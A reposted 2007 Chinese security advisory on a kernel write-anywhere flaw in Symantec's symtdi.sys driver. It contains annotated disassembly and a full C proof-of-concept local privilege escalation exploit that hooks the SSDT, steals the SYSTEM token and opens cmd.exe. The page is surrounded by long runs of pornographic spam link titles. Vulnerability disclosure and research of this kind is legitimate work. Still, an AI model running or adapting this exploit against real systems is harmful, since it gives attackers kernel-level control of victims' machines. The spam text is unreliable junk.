青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

elva

Symantec 核心驅(qū)動(dòng) symtdi.sys 本地權(quán)限提升漏洞

創(chuàng)建時(shí)間:2007-07-17 更新時(shí)間:2007-07-17

Author:  Polymorphours
Email:   Polymorphours@whitecell.org
Homepage:http://www.whitecell.org
Date:    2007-07-3


最近通過(guò)反匯編分析發(fā)現(xiàn)了一個(gè) symantec 的漏洞,這個(gè)漏洞是在 symtdi.sys 中存在的,由
于驅(qū)動(dòng)程序中處理 IRP_MJ_DEVICE_CONTROL 例程沒(méi)有檢查用戶傳入的緩沖區(qū)地址的合法性,
造成任意內(nèi)核地址可寫(xiě)的漏洞,用戶可以發(fā)送惡意的 DeviceIoControl 的來(lái)完全的控制計(jì)算
機(jī)。



在 symtdi.sys 中,以下代碼用來(lái)處理IRP_MJ_DEVICE_CONTROL請(qǐng)求

loc_387C0:                              ; CODE XREF: sub_38736+6Cj
.text:000387C0                 cmp     dword_4B258, 0
.text:000387C7                 jz      short loc_387EF
.text:000387C7
.text:000387C9                 call    KeGetCurrentIrql
.text:000387C9
.text:000387CE                 and     eax, 0FFh
.text:000387D3                 test    eax, eax
.text:000387D5                 jnz     short loc_387EF
.text:000387D5
.text:000387D7                 call    sub_37B5F
.text:000387D7
.text:000387DC                 test    eax, eax
.text:000387DE                 jz      short loc_387EF
.text:000387DE
.text:000387E0                 mov     dword_4B258, 0
.text:000387EA                 call    sub_37B9A
.text:000387EA
.text:000387EF
.text:000387EF loc_387EF:                              ; CODE XREF: sub_38736+91j
.text:000387EF                                         ; sub_38736+9Fj
.text:000387EF                                         ; sub_38736+A8j
.text:000387EF                 mov     ecx, [ebp+var_20]
.text:000387F2                 mov     edx, [ecx+0Ch]
.text:000387F5                 mov     [ebp+var_38], edx
.text:000387F8                 mov     eax, [ebp+var_38]
.text:000387FB                 shr     eax, 10h
.text:000387FE                 mov     [ebp+var_44], eax
.text:00038801                 cmp     [ebp+var_44], 8302h
.text:00038808                 jnz     loc_3983C
.text:00038808
.text:0003880E                 cmp     [ebp+var_38], 83022227h
.text:00038815                 jnb     short loc_38854
.text:00038815
.text:00038817                 cmp     dword_4B0DC, 0
.text:0003881E                 jnz     short loc_38842
.text:0003881E
.text:00038820                 call    ds:KeEnterCriticalRegion
.text:00038826                 mov     ecx, offset stru_4B060 ; FastMutex
.text:0003882B                 call    ds:ExAcquireFastMutexUnsafe
.text:00038831                 mov     ecx, offset stru_4B060 ; FastMutex
.text:00038836                 call    ds:ExReleaseFastMutexUnsafe
.text:0003883C                 call    ds:KeLeaveCriticalRegion
.text:0003883C
.text:00038842
.text:00038842 loc_38842:                              ; CODE XREF: sub_38736+E8j
.text:00038842                 cmp     dword_4B258, 0
.text:00038849                 jnz     short loc_38854
.text:00038849
.text:0003884B                 mov     ecx, [ebp+var_38]
.text:0003884E                 push    ecx
.text:0003884F                 call    sub_16E17
.text:0003884F
.text:00038854
.text:00038854 loc_38854:                              ; CODE XREF: sub_38736+DFj
.text:00038854                                         ; sub_38736+113j

以下開(kāi)始處理 ControlCode,他們基本都被定義為 METHOD_NEITHER 這種方式

.text:00038854                 mov     edx, [ebp+var_38] ; edx = ControlCode
.text:00038857                 mov     [ebp+var_F0], edx
.text:0003885D                 cmp     [ebp+var_F0], 830221E7h
.text:00038867                 ja      loc_38985 ; 如果ConrolCode > 830221E7h 則跳轉(zhuǎn)
.text:00038867
.text:0003886D                 cmp     [ebp+var_F0], 830221E7h
.text:00038877                 jz      loc_38F5E
.text:00038877
.text:0003887D                 cmp     [ebp+var_F0], 830221BFh
.text:00038887                 ja      loc_38952
.text:00038887
.text:0003888D                 cmp     [ebp+var_F0], 830221BFh
.text:00038897                 jz      loc_38C2C
.text:00038897
.text:0003889D                 cmp     [ebp+var_F0], 830221A7h
.text:000388A7                 ja      short loc_3891F
.text:000388A7
.text:000388A9                 cmp     [ebp+var_F0], 830221A7h
.text:000388B3                 jz      loc_38BB0
.text:000388B3
.text:000388B9                 cmp     [ebp+var_F0], 8302219Ah
.text:000388C3                 ja      short loc_388FA
.text:000388C3
.text:000388C5                 cmp     [ebp+var_F0], 8302219Ah
.text:000388CF                 jz      loc_38E15
.text:000388CF
.text:000388D5                 cmp     [ebp+var_F0], 83022003h
.text:000388DF                 jz      loc_38B49 ; 注意這里
.text:000388DF
.text:000388E5                 cmp     [ebp+var_F0], 83022196h
.text:000388EF                 jz      loc_38DD5
.text:000388EF
.text:000388F5                 jmp     loc_392EE


其上的很多控制碼都存在問(wèn)題,當(dāng)然最好利用的控制碼就是 83022003h 了,我們來(lái)看看
symtdi.sys 中如何處理 83022003h


loc_38B49:                              ; CODE XREF: sub_38736+1A9j
.text:00038B49                 mov     ecx, [ebp+Irp]
.text:00038B4C                 mov     edx, [ecx+3Ch] ; edx = irp->UserBuffer
.text:00038B4F                 mov     [ebp+var_24], edx
.text:00038B52                 mov     eax, [ebp+var_20]
.text:00038B55                 mov     ecx, [eax+4]
.text:00038B58                 mov     [ebp+var_40], ecx
.text:00038B5B                 mov     edx, [ebp+var_40]
.text:00038B5E                 push    edx
.text:00038B5F                 mov     eax, [ebp+var_24]
.text:00038B62                 push    eax
.text:00038B63                 call    sub_3B7B0

sub_3B7B0       proc near               ; CODE XREF: sub_38736+42Dp
.text:0003B7B0
.text:0003B7B0 var_4           = dword ptr -4
.text:0003B7B0 arg_0           = dword ptr  8
.text:0003B7B0 arg_4           = dword ptr  0Ch
.text:0003B7B0
.text:0003B7B0                 push    ebp
.text:0003B7B1                 mov     ebp, esp
.text:0003B7B3                 push    ecx
.text:0003B7B4                 mov     [ebp+var_4], 0
.text:0003B7BB                 cmp     [ebp+arg_0], 0
.text:0003B7BF                 jz      short loc_3B7EB
.text:0003B7BF
.text:0003B7C1                 cmp     [ebp+arg_4], 9
.text:0003B7C5                 jb      short loc_3B7EB
.text:0003B7C5
.text:0003B7C7                 mov     eax, [ebp+arg_0]  


; eax = irp->UserBuffer 以前沒(méi)有對(duì)irp->UserBuffer進(jìn)行任何檢查


.text:0003B7CA                 mov     ecx, dword_45544
.text:0003B7D0                 mov     [eax], ecx


; 以下是對(duì)UserBuffer進(jìn)行寫(xiě)操作,一共寫(xiě)入了9字節(jié),形成了任意內(nèi)核地址可寫(xiě)的漏洞


.text:0003B7D2                 mov     edx, dword_45548
.text:0003B7D8                 mov     [eax+4], edx
.text:0003B7DB                 mov     cl, byte_4554C
.text:0003B7E1                 mov     [eax+8], cl
.text:0003B7E4                 mov     [ebp+var_4], 9
.text:0003B7E4
.text:0003B7EB
.text:0003B7EB loc_3B7EB:                              ; CODE XREF: sub_3B7B0+Fj
.text:0003B7EB                                         ; sub_3B7B0+15j
.text:0003B7EB                 mov     eax, [ebp+var_4]
.text:0003B7EE                 mov     esp, ebp
.text:0003B7F0                 pop     ebp
.text:0003B7F1                 retn    8
.text:0003B7F1
.text:0003B7F1 sub_3B7B0       endp


看完代碼,我們大家已經(jīng)很清楚地知道了這個(gè)漏洞如何利用,我們可以去Hook一個(gè)SSDT上的函
數(shù),在我們進(jìn)行調(diào)用被Hook的函數(shù)時(shí),有機(jī)會(huì)讓我們的ring0代碼得到運(yùn)行,Hook的函數(shù)我依舊
選擇 NtVdmControl,雖然這里覆蓋了9字節(jié)的數(shù)據(jù),但是由于NtVdmControl后面的一個(gè)函數(shù)也
為一個(gè)不常用的api,所以我們的exploit可以保證%80以上的有效率,但是一定要在調(diào)用ring 0
代碼的時(shí)候進(jìn)行一些現(xiàn)場(chǎng)恢復(fù),不然一定會(huì)死的比較難看的。

在發(fā)現(xiàn)這個(gè)漏洞的興奮之余,我上網(wǎng)搜索了一下 symtdi.sys,發(fā)現(xiàn)在今年3月份國(guó)外已經(jīng)有人發(fā)
現(xiàn)了這個(gè)漏洞,不過(guò)報(bào)告為拒絕服務(wù),然而廠商估計(jì)是因?yàn)檎J(rèn)為這個(gè)漏洞的安全級(jí)別比較低,也
沒(méi)有對(duì)這個(gè)漏洞進(jìn)行修補(bǔ),希望安全廠商能夠報(bào)著為用戶負(fù)責(zé)的心態(tài)盡快修補(bǔ)該漏洞,如果對(duì)
以上還有什么問(wèn)題請(qǐng)發(fā)送郵件到 Polymorphours@whitecell.org 聯(lián)系我,謝謝。




#include
#include

#pragma comment (lib, "ntdll.lib")

typedef LONG NTSTATUS;

#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef struct _IMAGE_FIXUP_ENTRY {

    WORD    offset:12;
    WORD    type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;

typedef struct _UNICODE_STRING {

USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

extern "C"
NTSTATUS
NTAPI
NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);

int main(int argc, char* argv[])
{
NTSTATUS status;
HANDLE deviceHandle;
DWORD dwReturnSize = 0;
PVOID VdmControl = NULL;

PVOID ShellCodeMemory = (PVOID)0x2E352E35;
DWORD MemorySize = 0x2000;

PROCESS_INFORMATION   pi;
STARTUPINFOA    stStartup;

OSVERSIONINFOEX OsVersionInfo;

RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);

if ( OsVersionInfo.dwMajorVersion != 5 ) {

  printf( "Not NT5 system\n" );
  ExitProcess( 0 );
  return 0;
}

if ( OsVersionInfo.dwMinorVersion != 2 ) {

  printf( "isn't windows 2003 system\n" );
  ExitProcess( 0 );
  return 0;
}

printf( "Symantec Local Privilege Escalation Vulnerability Exploit (POC) \n\n" );
printf( "Tested on: \n\twindows 2003 sp1 (ntkrnlpa.exe version) \n\n" );
printf( "\tCoded by Polymorphours. Polymorphours@whitecell.org\n\n" );

status = NtAllocateVirtualMemory( (HANDLE)-1,
           &ShellCodeMemory,
           0,
           &MemorySize,
           MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
           PAGE_EXECUTE_READWRITE );
if ( status != STATUS_SUCCESS ) {

  printf( "NtAllocateVirtualMemory failed, status: %08X\n", status );
  return 0;
}

memset( ShellCodeMemory, 0x90, MemorySize );

__asm {

  call CopyShellCode

  nop
  nop
  nop
  nop
  nop
  nop

  //
  // 恢復(fù)SSDT保證系統(tǒng)能夠正常運(yùn)行
  //
/*
  mov edi, 0x80827D54
  mov [edi], 0x808C998A
  mov [edi+4], 0x809ba123
  mov [edi+8], 0x80915CBE
*/ // ntoskrnl.exe

  mov edi, 0x8083100C
  // mov [edi], 0x808C998A
  mov [edi+4], 0x809970CC // ntkrnlpa.exe version
  mov [edi+8], 0x8092FF3E

  mov eax,0xFFDFF124 // eax = ETHREAD  (not 3G Mode)
  mov eax,[eax]

  mov esi,[eax+0x218]
  mov eax,esi

search2k3sp1:

  mov eax,[eax+0x98]
  sub eax,0x98
  mov edx,[eax+0x94]
  cmp edx,0x4 // Find System Process
  jne search2k3sp1

  mov eax,[eax+0xd8] // 獲取system進(jìn)程的token
  mov [esi+0xd8],eax // 修改當(dāng)前進(jìn)程的token

  ret 8

CopyShellCode:
  
  pop esi
  lea ecx, CopyShellCode
  sub ecx, esi

  mov edi,0x2E352E35
  cld
  rep movsb

}

deviceHandle = CreateFile("\\\\.\\Symtdi",
      0,
      FILE_SHARE_READ|FILE_SHARE_WRITE,
      NULL,
      OPEN_EXISTING,
      0,
      NULL);
if ( INVALID_HANDLE_VALUE == deviceHandle ) {

  printf( "Open Symtdi device failed, code: %d\n", GetLastError() );
  return 0;
} else {

  printf( "Open Symtdi device success\n" );
}

DeviceIoControl( deviceHandle,
      0x83022003,
      NULL,
      0,
      (PVOID)0x8083100C, //ntkrnlpa.exe version // (PVOID)0x80827D54,
      0xC,
      &dwReturnSize,  
      NULL );

CloseHandle( deviceHandle );

VdmControl = GetProcAddress( LoadLibrary("ntdll.dll"), "ZwVdmControl" );
if ( VdmControl == NULL ) {

  printf( "VdmControl == NULL\n" );
  return 0;
}

printf( "call shellcode ... " );

_asm {

  xor ecx,ecx
  push ecx
  push ecx
  mov eax, VdmControl
  call eax
}

printf( "Done.\n" );
printf( "Create New Process\n" );

GetStartupInfo( &stStartup );

CreateProcess( NULL,
     "cmd.exe",
     NULL,
     NULL,
     TRUE,
     NULL,
     NULL,
     NULL,
     &stStartup,
     &pi );

return 0;
}


WSS(Whitecell Security Systems),一個(gè)非營(yíng)利性民間技術(shù)組織,致力于各種系統(tǒng)安全技術(shù)的研究。堅(jiān)持傳

統(tǒng)的hacker精神,追求技術(shù)的精純。
WSS 主頁(yè):http://www.whitecell.org/
WSS 論壇:http://www.whitecell.org/forums/

posted on 2007-07-20 12:15 葉子 閱讀(592) 評(píng)論(0)  編輯 收藏 引用 所屬分類(lèi): 網(wǎng)絡(luò)安全

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            亚洲性xxxx| 亚洲综合视频一区| 欧美成人精品在线| 美女被久久久| 欧美激情精品久久久久久大尺度| 久久久久国产精品麻豆ai换脸| 性一交一乱一区二区洋洋av| 欧美有码在线观看视频| 久久久欧美精品sm网站| 欧美3dxxxxhd| 欧美午夜宅男影院| 国产日韩一区二区三区| 在线欧美不卡| 夜夜夜久久久| 欧美一区二区免费| 免费久久99精品国产自| 日韩视频久久| 欧美在线免费| 亚洲一级高清| 国产精品成人在线观看| 欧美三级中文字幕在线观看| 国产精品推荐精品| 红桃视频一区| 一区二区三区久久网| 亚洲欧洲av一区二区| 久久在线91| 一二美女精品欧洲| 久久精品国产精品亚洲精品| 欧美另类高清视频在线| 国产欧美日韩另类一区| 一区二区在线观看视频| 日韩写真在线| 久久裸体视频| 一区二区三区视频在线观看| 久久久久欧美精品| 国产精品嫩草久久久久| 91久久精品日日躁夜夜躁国产| 中文在线一区| 久久久久**毛片大全| 欧美日韩亚洲一区二| 黄色国产精品一区二区三区| 一本色道久久综合狠狠躁的推荐| 久久九九99视频| 在线亚洲观看| 欧美激情按摩| 国产中文一区二区三区| 午夜精品福利一区二区蜜股av| 欧美福利电影在线观看| 久久精品亚洲热| 国内成人自拍视频| 欧美一区二粉嫩精品国产一线天| 亚洲精品久久久久久久久久久久久 | 日韩视频中文| 你懂的国产精品| 在线精品一区| 久久综合精品一区| 久久久亚洲高清| 亚洲国产欧美一区二区三区同亚洲 | 一本色道久久综合亚洲精品小说 | 久久精品官网| 国产亚洲欧美激情| 久久国产精品99国产精| 亚洲综合精品四区| 国产午夜精品美女视频明星a级| 亚洲天堂网站在线观看视频| 欧美影院精品一区| 亚洲一区观看| 国产欧美亚洲日本| 久久久国产一区二区| 亚洲欧美在线免费| 国产一区二区黄色| 久久久国产午夜精品| 久久精品夜色噜噜亚洲aⅴ| 国产日韩综合| 乱人伦精品视频在线观看| 久久午夜精品一区二区| 亚洲黄色片网站| 99在线视频精品| 国产精品家庭影院| 午夜欧美电影在线观看| 性久久久久久久| 亚洲欧洲日本国产| 亚洲免费中文| 91久久精品国产91久久| 亚洲日本成人| 国产美女精品一区二区三区| 久久久久国产精品一区二区| 久久精品人人做人人爽| 亚洲另类在线一区| 午夜精品久久久久久久| 亚洲成人在线观看视频| 夜夜嗨av一区二区三区| 国产一区二区三区四区老人| 老色鬼久久亚洲一区二区 | 国产伦精品一区二区三区视频孕妇| 亚洲欧美成人精品| 久久精品视频99| 亚洲午夜精品久久久久久浪潮| 欧美在线一二三区| 99re热精品| 久久久91精品国产| 一区二区三区色| 久久久精品日韩欧美| 亚洲午夜精品福利| 欧美成人激情在线| 欧美在线黄色| 欧美天堂亚洲电影院在线观看| 欧美1级日本1级| 国产亚洲精久久久久久| 亚洲免费av网站| 精品1区2区3区4区| 午夜久久电影网| 在线视频你懂得一区二区三区| 久久久欧美精品sm网站| 久久精品亚洲一区二区三区浴池| 欧美日韩精品二区| 亚洲国产精品久久久久| 国产日产精品一区二区三区四区的观看方式 | 美女爽到呻吟久久久久| 国产精品久久久久婷婷| 欧美激情视频在线免费观看 欧美视频免费一| 欧美视频专区一二在线观看| 国产精品视频大全| 一区二区三区国产盗摄| 久久色在线观看| 欧美中文字幕视频| 国产精品激情电影| 日韩网站在线| 一区二区三区视频在线观看| 亚洲丰满少妇videoshd| 黑人一区二区三区四区五区| 午夜精品999| 香蕉成人久久| 国产精品成人av性教育| 99精品国产在热久久婷婷| 最新成人av网站| 久久躁狠狠躁夜夜爽| 狼人天天伊人久久| 亚洲风情亚aⅴ在线发布| 欧美在线视频免费观看| 久久久久久久97| 樱桃国产成人精品视频| 久久久久www| 欧美国产一区二区三区激情无套| 在线观看亚洲| 免费成人性网站| 亚洲黄网站在线观看| 99视频一区二区| 国产精品mm| 欧美在线免费看| 欧美a一区二区| 一区二区三区欧美在线| 国产精品成人一区二区三区夜夜夜 | av不卡免费看| 欧美视频在线免费看| 亚洲欧美激情一区二区| 久久精品人人| 亚洲第一黄网| 欧美日精品一区视频| 亚洲欧美日韩国产综合| 久久偷看各类wc女厕嘘嘘偷窃| 伊人狠狠色j香婷婷综合| 欧美国产精品一区| 亚洲手机成人高清视频| 久久一区欧美| 在线一区二区三区四区| 国产精品―色哟哟| 久久亚洲美女| 夜色激情一区二区| 久久久久久国产精品mv| 亚洲裸体在线观看| 国内精品一区二区| 欧美日韩一区二区三区免费| 欧美怡红院视频| 日韩视频免费大全中文字幕| 午夜免费在线观看精品视频| 亚洲国产精品久久久久秋霞不卡 | 久久亚洲综合| 亚洲国产综合91精品麻豆| 亚洲欧美中文日韩v在线观看| 一区精品久久| 国产精品人人爽人人做我的可爱 | 午夜精彩国产免费不卡不顿大片| 欧美日本在线播放| 欧美综合国产| 一区二区三区蜜桃网| 欧美成人乱码一区二区三区| 亚洲视频第一页| 91久久香蕉国产日韩欧美9色| 国产日韩欧美| 国产精品卡一卡二| 欧美福利视频网站| 久久精品卡一| 性色av一区二区三区| 亚洲精品国产无天堂网2021| 久久久久综合网| 欧美在线一二三四区| 亚洲免费综合| 一区二区三区福利| 亚洲人成啪啪网站|